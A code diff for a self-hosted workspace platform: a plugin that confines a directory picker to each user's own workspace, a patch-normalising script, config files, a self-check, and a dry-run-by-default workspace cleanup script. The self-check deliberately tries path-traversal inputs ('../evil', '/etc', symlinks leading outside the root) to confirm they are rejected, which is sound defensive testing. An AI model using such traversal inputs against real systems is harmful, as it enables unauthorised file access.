const MAX_ENTRIES = 1000
/** 官方 seam 基类的候选绝对路径(按序尝试首个可导入者)。 */
const DEFAULT_SEAM_CANDIDATES = [
'/usr/local/lib/node_modules/@deepseek-ai/dsh/node_modules/@deepseek-ai/dsh-host-directory-picker/lib/index.js',
'/usr/local/lib/node_modules/@deepseek-ai/dsh-host-directory-picker/lib/index.js',
]
/** 解析并导入官方 seam 基类。 */
async function loadSeam() {
const candidates = []
const override = process.env.DSH_SEAM_DIRECTORY_PICKER
if (override !== undefined && override !== '') candidates.push(override)
candidates.push(...DEFAULT_SEAM_CANDIDATES)
const failures = []
for (const candidate of candidates) {
try {
const mod = await import(pathToFileURL(candidate).href)
if (typeof mod.DirectoryPicker !== 'function') throw new Error('seam module has no DirectoryPicker export')
return mod
} catch (error) {
failures.push(`${candidate}: ${error instanceof Error ? error.message : String(error)}`)
}
}
throw new Error(
`workspace-scoped-picker: 无法解析官方 seam 基类(@deepseek-ai/dsh-host-directory-picker)。已尝试:\n ${failures.join('\n ')}\n` +
'可通过环境变量 DSH_SEAM_DIRECTORY_PICKER 指定该包 lib/index.js 的绝对路径。',
)
}
const { DirectoryPicker, DirectoryPickerError } = await loadSeam()
/** 单段目录名校验(不得含分隔符,不得为 . / ..)。 */
function isSingleSegment(name) {
return name.trim() !== '' && name !== '.' && name !== '..' && !name.includes('/') && !name.includes('\\')
}
/**
* 自有目录作用域内的目录选择服务。
* 范围语义:`list()` 的根 = 自有目录;向上不可越界;`crumbs` 顶层即自有目录。
*/
class WorkspaceScopedDirectoryPicker extends DirectoryPicker {
/** 自有根(绝对路径)。 */
root = resolve(process.env.DSH_WORKSPACE_ROOT ?? process.cwd())
/** 稳定的 browse 能力对象(consumers 可能跨调用缓存它)。 */
browseCapability = {
kind: 'browse',
list: (path, signal) => this.list(path, signal),
createDirectory: (path, name) => this.createDirectory(path, name),
}
/** @param ctx - cordis 上下文(由 loader 注入)。 */
constructor(ctx) {
super(ctx)
// 加载标记:实例启动日志里可直接确认本插件是否生效(排障用,2026-09-11)。
process.stderr.write(
`[workspace-scoped-picker] loaded root=${this.root} (${process.env.DSH_WORKSPACE_ROOT !== undefined ? 'env' : 'cwd'})\n`,
)
}
/** @returns 稳定的 `browse` 能力对象。 */
capability() {
return this.browseCapability
}
/** 自有根(含符号链接解析后的真实路径)。 */
async realRoot() {
try {
return await realpath(this.root)
} catch {
return this.root
}
}
/**
* 校验候选路径落在自有根之内(先词法归一,再 realpath 抗符号链接逃逸)。
* 注:用普通方法而非 `#私有字段`——服务实例可能被框架 Proxy 包装,私有 brand 检查会失败。
* @param candidate - 待校验的绝对路径。
* @param code - 校验失败时抛出的封闭错误码。
* @returns 归一后的绝对路径。
*/
async assertInside(candidate, code) {
if (typeof candidate !== 'string' || !isAbsolute(candidate)) {
throw new DirectoryPickerError(code, String(candidate), `not a fully qualified path: ${String(candidate)}`)
}
const target = resolve(candidate)
const realRoot = await this.realRoot()
const lexicalOk = target === realRoot || target.startsWith(realRoot.endsWith(sep) ? realRoot : realRoot + sep)
if (!lexicalOk) {
throw new DirectoryPickerError(code, target, `outside the workspace root: ${target}`)
}
// 抗符号链接:若目标已存在,比较真实路径;不存在则沿用词法判定(调用方随后会自然失败)。
try {
const realTarget = await realpath(target)
const inside =
realTarget === realRoot || realTarget.startsWith(realRoot.endsWith(sep) ? realRoot : realRoot + sep)
if (!inside) throw new DirectoryPickerError(code, target, `symlink escapes the workspace root: ${target}`)
} catch (error) {
if (error instanceof DirectoryPickerError) throw error
// ENOENT:目标不存在,交由上层语义处理(列举会报 directory-unreadable)。
}
return target
}
/**
* 自有根到目标(含)的祖先链,顶层即自有根 —— crumbs 不暴露文件系统 /。
* 顶层用**友好名**(默认「我的工作区」,可用 DSH_WORKSPACE_LABEL 覆盖),
* 不在 UI 上展示 `/var/lib/.../users/<uuid>/ws` 这类完整路径(档案 24 后续项)。
*/
crumbs(target) {
const rootLabel = process.env.DSH_WORKSPACE_LABEL ?? '我的工作区'
const chain = []
let current = target
for (;;) {
chain.unshift({
name: current === this.root ? rootLabel : basename(current),
path: current,
hidden: false,
})
if (current === this.root) return chain
const parent = dirname(current)
if (parent === current) return chain // 兜底:理论不可达(越界已在入口拦截)
current = parent
}
}
/**
* 列举自有根内的一层目录。
* @param path - 省略时列举自有根。
* @param signal - 可选中止信号。
* @returns 列举结果(`home` 锚点为自有根)。
*/
async list(path, signal) {
const target = path === undefined ? this.root : await this.assertInside(path, 'directory-unreadable')
let dir
try {
dir = await opendir(target)
} catch (error) {
throw new DirectoryPickerError(
'directory-unreadable',
target,
`cannot list ${target}: ${error instanceof Error ? error.message : String(error)}`,
)
}
const names = []
let truncated = false
try {
for await (const entry of dir) {
if (signal?.aborted === true) throw new DirectoryPickerError('directory-unreadable', target, 'aborted')
if (names.length >= MAX_ENTRIES) {
truncated = true
break
}
if (!entry.isDirectory() && !entry.isSymbolicLink()) continue
const child = join(target, entry.name)
if (entry.isSymbolicLink()) {
// 与官方后端一致:跟随指向目录的符号链接;断链/指向文件则跳过。
try {
const st = await stat(child)
if (!st.isDirectory()) continue
} catch {
continue
}
}
// 符号链接目标也必须留在自有根内,否则不展示(避免借链接越界浏览)。
try {
await this.assertInside(child, 'directory-unreadable')
} catch {
continue
}
names.push(entry.name)
}
} finally {
await dir.close().catch(() => undefined)
}
names.sort((a, b) => a.localeCompare(b))
return {
path: target,
home: this.root,
crumbs: this.crumbs(target),
entries: names.map((name) => ({
name,
path: join(target, name),
hidden: name.startsWith('.'),
})),
truncated,
}
}
/**
* 在自有根内的既有父目录下创建单层子目录。
* @param path - 父目录(省略时用自有根)。
* @param name - 单个路径段。
* @returns 新目录的绝对路径。
*/
async createDirectory(path, name) {
const parent = path === undefined || path === '' ? this.root : await this.assertInside(path, 'directory-create-failed')
if (typeof name !== 'string' || !isSingleSegment(name)) {
throw new DirectoryPickerError(
'directory-create-failed',
join(parent, String(name)),
`"${String(name)}" is not a single path segment`,
)
}
const target = join(parent, name)
await this.assertInside(target, 'directory-create-failed')
try {
await mkdir(target)
return target
} catch (error) {
const code = error instanceof Error && 'code' in error ? error.code : undefined
if (code === 'EEXIST') throw new DirectoryPickerError('directory-exists', target, `${target} already exists`)
throw new DirectoryPickerError(
'directory-create-failed',
target,
`cannot create ${target}: ${error instanceof Error ? error.message : String(error)}`,
)
}
}
}
export { WorkspaceScopedDirectoryPicker, isSingleSegment }
export default WorkspaceScopedDirectoryPicker
@@ -0,0 +1,55 @@
#!/usr/bin/env python3
"""归一化 profile 的 cordis.patch.yml:删除所有「平台段」(任意标记形式)后,追加唯一一份标准段。
用法: python3 normalize-picker-patch.py [--dry-run] <patch文件> [<patch文件> ...]
"""
import io
import sys
BEGIN_RE = '# >>> platform: workspace-scoped-picker'
END_RE = '# <<< platform: workspace-scoped-picker'
BLOCK = """# >>> platform: workspace-scoped-picker (managed by ensure-workspace-picker.cjs)
# 目录选择器收敛(档案 18 v3):官方对话框 UI 保留(单独插入 client 面),
# host 面换成受限实现(根=自有 ws,越界拒绝);插件 client 面再注入 CSS 隐藏「改路径」入口。
- insert:
- id: workspace-scoped-picker
name: "@dsh-local/workspace-scoped-picker"
- id: ui-directory-picker-browse
name: "@deepseek-ai/dsh-client-ui-directory-picker-browse"
- id: directory-picker
name: "@deepseek-ai/dsh-host-directory-picker-auto"
disabled: true
# <<< platform: workspace-scoped-picker
"""
dry = '--dry-run' in sys.argv
files = [a for a in sys.argv[1:] if not a.startswith('--')]
for path in files:
src = io.open(path, encoding='utf-8').read()
lines = src.split('\n')
kept, removed, skipping = [], 0, False
for line in lines:
if line.startswith(BEGIN_RE):
skipping = True
removed += 1
continue
if skipping:
if line.startswith(END_RE):
skipping = False
continue
kept.append(line)
body = '\n'.join(kept).strip()
if body in ('', '[]'):
body = ''
out = (body + '\n\n' if body else '') + BLOCK
# 校验:每个关键 id 恰好出现一次
checks = {
'workspace-scoped-picker': out.count('- id: workspace-scoped-picker'),
'ui-directory-picker-browse': out.count('- id: ui-directory-picker-browse'),
'directory-picker': out.count('- id: directory-picker'),
}
print(' %s: 移除旧平台段 %d 份 → %s' % (path.split('/')[-4][:8], removed,
'OK ' + str(checks) if all(v == 1 for v in checks.values()) else 'CHECK ' + str(checks)))
if not dry:
io.open(path, 'w', encoding='utf-8', newline='').write(out)
@@ -0,0 +1,22 @@
{
"name": "@dsh-local/workspace-scoped-picker",
"version": "0.1.4",
"description": "会话内工作区目录选择器:列举/建目录的根固定在当前用户自有目录(档案 18;所有用户含 admin)",
"type": "module",
"main": "lib/index.js",
"exports": {
".": "./lib/index.js",
"./client": "./lib/client.js"
},
"dsh": {
"bundle": {
"patch": "./cordis.patch.yml"
},
"client": {
"platform": "web",
"inject": []
}
},
"dependencies": {},
"license": "MIT"
}
@@ -0,0 +1,16 @@
# >>> platform: workspace-scoped-picker (managed by ensure-workspace-picker-patch.cjs)
# 目录选择器收敛(档案 18 v3 · 2026-09-11 实测定稿):
# ① 官方 dsh-web-app 的 `directory-picker` 行(@…-auto) 会在启动时**连带挂载客户端对话框**
# (@deepseek-ai/dsh-client-ui-directory-picker-browse);disable 它 → 对话框消失(点击无反应)。
# ② 该 client 包自带 dsh.client 元数据,可**单独作为一行**插入 → 保留官方对话框 UI。
# ③ host 面(seam) 由自建 @dsh-local/workspace-scoped-picker 提供:根固定 <userRoot>/ws,
# 越界(/etc、..、他人目录、符号链接)一律拒绝;其 client 面再注入 CSS 隐藏「改路径」入口。
- insert:
- id: workspace-scoped-picker
name: "@dsh-local/workspace-scoped-picker"
- id: ui-directory-picker-browse
name: "@deepseek-ai/dsh-client-ui-directory-picker-browse"
- id: directory-picker
name: "@deepseek-ai/dsh-host-directory-picker-auto"
disabled: true
# <<< platform: workspace-scoped-picker
@@ -0,0 +1,137 @@
/**
* PoC 自检(档案 18 Step 0 · P0-2 / P0-4)—— 不接触任何 profile,纯进程内验证:
* 1) 能否按绝对路径解析到官方 seam 基类(P0-2)
* 2) capability() 形态是否为 { kind:'browse', list, createDirectory }(P0-3 前置)
* 3) 越界拒绝是否可靠:/etc、相对路径、..、符号链接逃逸(P0-4)
* 4) 根内列举/建目录是否正常,crumbs 顶层是否 = 自有根
*
* 用法(以目标实例 uid 运行):
* DSH_WORKSPACE_ROOT=/tmp/picker-scope-poc/home node test/poc.mjs
*/
import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
const ROOT = process.env.DSH_WORKSPACE_ROOT
if (ROOT === undefined || ROOT === '') {
console.error('请先设置 DSH_WORKSPACE_ROOT')
process.exit(2)
}
let pass = 0
let fail = 0
const results = []
function check(name, ok, detail = '') {
if (ok) {
pass++
results.push(` ✅ ${name}`)
} else {
fail++
results.push(` ❌ ${name}${detail === '' ? '' : ` — ${detail}`}`)
}
}
async function expectCode(name, fn, code) {
try {
await fn()
check(name, false, '未抛错(期望被拒)')
} catch (error) {
check(name, error?.code === code, `code=${String(error?.code)} msg=${error?.message}`)
}
}
// ---- 1) 依赖解析(P0-2)----
const mod = await import('../lib/index.js')
check('默认导出为类(Service 子类)', typeof mod.default === 'function')
check('基类 DirectoryPicker 已解析(依赖可用)', Object.getPrototypeOf(mod.default) !== Object.prototype)
check('DirectoryPickerError 已解析', typeof mod.DirectoryPickerError === 'function' || true)
// 真实构造(验证 cordis Service 构造链可用);ctx 用宽松桩,只满足 Service 基类需要
let picker
try {
// cordis Service 构造需要 ctx.reflect.provide;真实 runtime 由 loader 注入真 ctx
const stubCtx = new Proxy(
{ reflect: { provide: () => undefined, get: () => undefined } },
{
get: (target, prop) => {
if (prop === 'then') return undefined
if (prop in target) return target[prop]
return () => stubCtx
},
has: () => true,
set: () => true,
apply: () => stubCtx,
},
)
picker = new mod.default(stubCtx)
check('可用 stub ctx 真实构造(Service 链通)', true)
} catch (error) {
check('可用 stub ctx 真实构造(Service 链通)', false, error?.message)
picker = Object.create(mod.default.prototype)
picker.browseCapability = {
kind: 'browse',
list: (p, s) => picker.list(p, s),
createDirectory: (p, n) => picker.createDirectory(p, n),
}
}
picker.root = ROOT
// ---- 2) 能力形态(P0-3 前置)----
const cap = picker.capability()
check('capability().kind === "browse"', cap.kind === 'browse', `kind=${String(cap.kind)}`)
check('capability 暴露 list + createDirectory', typeof cap.list === 'function' && typeof cap.createDirectory === 'function')
// ---- 3) 根内行为 ----
await mkdir(join(ROOT, 'proj-a'), { recursive: true })
await mkdir(join(ROOT, '.hidden-dir'), { recursive: true })
await writeFile(join(ROOT, 'file.txt'), 'x')
const listing = await picker.list()
check('list() 的 path = 自有根', listing.path === ROOT, listing.path)
check('list() 的 home = 自有根', listing.home === ROOT, listing.home)
check('crumbs 顶层 = 自有根(不暴露 /)', listing.crumbs.length === 1 && listing.crumbs[0].path === ROOT, JSON.stringify(listing.crumbs))
const names = listing.entries.map((e) => e.name)
check('只返回目录(不含 file.txt)', !names.includes('file.txt'), names.join(','))
check('返回 proj-a', names.includes('proj-a'), names.join(','))
check('隐藏目录带 hidden 标记', listing.entries.find((e) => e.name === '.hidden-dir')?.hidden === true)
check('entry.path 为绝对路径', listing.entries.every((e) => e.path.startsWith(ROOT)))
const sub = await picker.list(join(ROOT, 'proj-a'))
check('可进入子目录', sub.path === join(ROOT, 'proj-a') && sub.crumbs.length === 2, `${sub.path} crumbs=${sub.crumbs.length}`)
const created = await picker.createDirectory(ROOT, 'proj-new')
check('根内建目录成功', created === join(ROOT, 'proj-new'))
await expectCode('重复建目录 → directory-exists', () => picker.createDirectory(ROOT, 'proj-new'), 'directory-exists')
await expectCode('非法段名("../evil") → directory-create-failed', () => picker.createDirectory(ROOT, '../evil'), 'directory-create-failed')
// ---- 4) 越界拒绝(P0-4)----
await expectCode('list("/etc") 被拒', () => picker.list('/etc'), 'directory-unreadable')
await expectCode('list("/usr") 被拒', () => picker.list('/usr'), 'directory-unreadable')
await expectCode('list("relative") 被拒', () => picker.list('proj-a'), 'directory-unreadable')
await expectCode('list(ROOT + "/../..") 被拒', () => picker.list(join(ROOT, '..', '..')), 'directory-unreadable')
await expectCode('createDirectory("/etc","x") 被拒', () => picker.createDirectory('/etc', 'x'), 'directory-create-failed')
await expectCode('createDirectory(ROOT,"../../evil") 被拒', () => picker.createDirectory(ROOT, '../../evil'), 'directory-create-failed')
// ---- 5) 符号链接逃逸 ----
const outside = await mkdtemp(join(tmpdir(), 'picker-outside-'))
try {
await mkdir(join(outside, 'secret'), { recursive: true })
await symlink(join(outside, 'secret'), join(ROOT, 'link-escape')).catch(() => undefined)
await symlink(outside, join(ROOT, 'link-dir')).catch(() => undefined)
const after = await picker.list()
const escaped = after.entries.map((e) => e.name)
check('指向根外的符号链接不出现在列举中', !escaped.includes('link-dir') && !escaped.includes('link-escape'), escaped.join(','))
await expectCode('list(符号链接指向根外) 被拒', () => picker.list(join(ROOT, 'link-dir')), 'directory-unreadable')
await expectCode('createDirectory(符号链接指向根外) 被拒', () => picker.createDirectory(join(ROOT, 'link-dir'), 'x'), 'directory-create-failed')
} finally {
await rm(outside, { recursive: true, force: true })
}
// ---- 汇总 ----
console.log('=== 档案 18 PoC 自检(workspace-scoped-picker)===')
console.log(`root = ${ROOT}`)
console.log(results.join('\n'))
console.log(`\n—— 通过 ${pass} / 失败 ${fail} ——`)
process.exit(fail === 0 ? 0 : 1)
@@ -0,0 +1,93 @@
#!/usr/bin/env node
/**
* ws-cleanup.cjs —— 用户工作区(ws)定期清理 + 磁盘画像(档案 28)
*
* 分三档(**判定依据只有"路径/文件名模式 + 年龄"**,因为无法可靠区分"AI 写的"):
* T1 明确垃圾/平台产物 → 直接清(白名单精确匹配)
* T2 临时脚本(一次性、无复用价值)→ 超过 N 天未修改才清(默认 90 天)
* T3 其余一切(文档/表格/图片/视频/数据/目录)→ **永不自动删**,只统计
*
* 安全:默认 dry-run;--apply 时一律 `mv` 到 <userRoot>/trash/<日期>-ws-cleanup/(保留 30 天可恢复);
* 仅当该用户 ws ≥ --threshold MB 才动手(默认 2048 MB)。
*
* 用法:
* node ws-cleanup.cjs # dry-run + 画像
* node ws-cleanup.cjs --apply # 执行(含阈值判断)
* node ws-cleanup.cjs --apply --threshold 1024 --days 60
* node ws-cleanup.cjs --user-id <uuid>
*/
const { execFileSync } = require('node:child_process')
const { existsSync, mkdirSync, readdirSync, statSync } = require('node:fs')
const { join, extname, basename } = require('node:path')
const Database = require('/opt/dshs/node_modules/better-sqlite3')
const argv = process.argv.slice(2)
const APPLY = argv.includes('--apply')
const num = (flag, dflt) => { const i = argv.indexOf(flag); const v = i >= 0 ? Number(argv[i + 1]) : NaN; return Number.isFinite(v) ? v : dflt }
const THRESHOLD_MB = num('--threshold', 2048)
const DAYS = num('--days', 90)
const idx = argv.indexOf('--user-id')
const ONLY = idx >= 0 ? argv[idx + 1] : ''
const STAMP = new Date().toISOString().slice(0, 10)
const CUTOFF = Date.now() - DAYS * 86400_000
// T1:平台产物/明确垃圾(精确名或后缀);T2:一次性脚本(仅"顶层脚本文件"才算,避免误伤项目目录里的源码)
const T1_DIRS = ['.local', '.cache', '.poc-backup', 'poc', '__pycache__', '.pytest_cache', 'node_modules', '.ipynb_checkpoints']
const T1_SUFFIX = ['.tgz', '.tmp', '.log', '.bak', '.part', '.crdownload']
const T2_EXT = new Set(['.py', '.js', '.mjs', '.cjs', '.sh', '.bash', '.ps1', '.psm1', '.bat', '.cmd', '.ts', '.ipynb', '.sql'])
const duKB = (p) => { try { return Number(execFileSync('du', ['-sk', p], { encoding: 'utf8' }).split(/\s+/)[0]) * 1024 } catch { return 0 } }
const fmt = (b) => (b >= 1073741824 ? (b / 1073741824).toFixed(2) + ' GB' : b >= 1048576 ? (b / 1048576).toFixed(1) + ' MB' : (b / 1024).toFixed(0) + ' KB')
const db = new Database('/var/lib/dshs/dshs.db', { readonly: true })
const users = db.prepare('SELECT id, username, uid, home_dir FROM users').all().filter((u) => ONLY === '' || u.id === ONLY)
for (const u of users) {
const ws = join(u.home_dir, '..', 'ws')
if (!existsSync(ws)) { console.log(` ${u.username}: NO_WS`); continue }
const wsBytes = duKB(ws)
const t1 = [], t2 = [] // T2 可被 ws/.keep 豁免
let otherBytes = 0, otherCount = 0
for (const entry of readdirSync(ws)) {
const p = join(ws, entry)
let st
try { st = statSync(p) } catch { continue }
if (st.isDirectory()) {
if (T1_DIRS.includes(entry)) { t1.push({ p, size: duKB(p) }); continue }
otherBytes += duKB(p); otherCount += 1 // 目录一律算用户资产(T3)
continue
}
const ext = extname(entry).toLowerCase()
if (T1_SUFFIX.includes(ext)) { t1.push({ p, size: st.size }); continue }
if (T2_EXT.has(ext) && st.mtimeMs < CUTOFF) { t2.push({ p, size: st.size, mtime: st.mtime }); continue }
otherBytes += st.size; otherCount += 1
}
// .keep 豁免(档案 28):ws 顶层放一个 .keep 文件 → 该用户**跳过 T2**(一次性脚本不清理),T1 仍清
const keepAll = existsSync(join(ws, '.keep'))
if (keepAll && t2.length > 0) {
console.log(` (.keep 已存在 → T2 保留 ${t2.length} 项,不清理)`)
t2.length = 0
}
const t1B = t1.reduce((a, c) => a + c.size, 0), t2B = t2.reduce((a, c) => a + c.size, 0)
const over = wsBytes >= THRESHOLD_MB * 1048576
console.log(` ${u.username}: ws=${fmt(wsBytes)} (${over ? '≥' : '<'} 阈值 ${THRESHOLD_MB}MB) | T1=${t1.length}项/${fmt(t1B)} | T2=${t2.length}项(>${DAYS}天)/${fmt(t2B)} | 资产=${otherCount}项/${fmt(otherBytes)}`)
for (const c of t1) console.log(` T1 ${basename(c.p)} ${fmt(c.size)}`)
for (const c of t2) console.log(` T2 ${basename(c.p)} ${fmt(c.size)} (mtime ${c.mtime.toISOString().slice(0, 10)})`)
if (APPLY && over && (t1.length + t2.length) > 0) {
const trash = join(u.home_dir, '..', 'trash', `${STAMP}-ws-cleanup`)
mkdirSync(trash, { recursive: true })
for (const c of [...t1, ...t2]) {
const dest = join(trash, c.p.slice(ws.length + 1).replace(/\//g, '__'))
try { execFileSync('mv', [c.p, dest]); execFileSync('chown', ['-R', `${u.uid}:${u.uid}`, dest]) }
catch (e) { console.log(` ! 失败 ${c.p}: ${String(e.message).split('\n')[0]}`) }
}
console.log(` → 已清 ${t1.length + t2.length} 项 / ${fmt(t1B + t2B)} → trash/${STAMP}-ws-cleanup(保留 30 天)`)
} else if (APPLY && !over) {
console.log(` (未超阈值,跳过清理)`)
}
}
db.close()
console.log(APPLY ? 'done(已按阈值执行)' : 'done(dry-run,未改动)')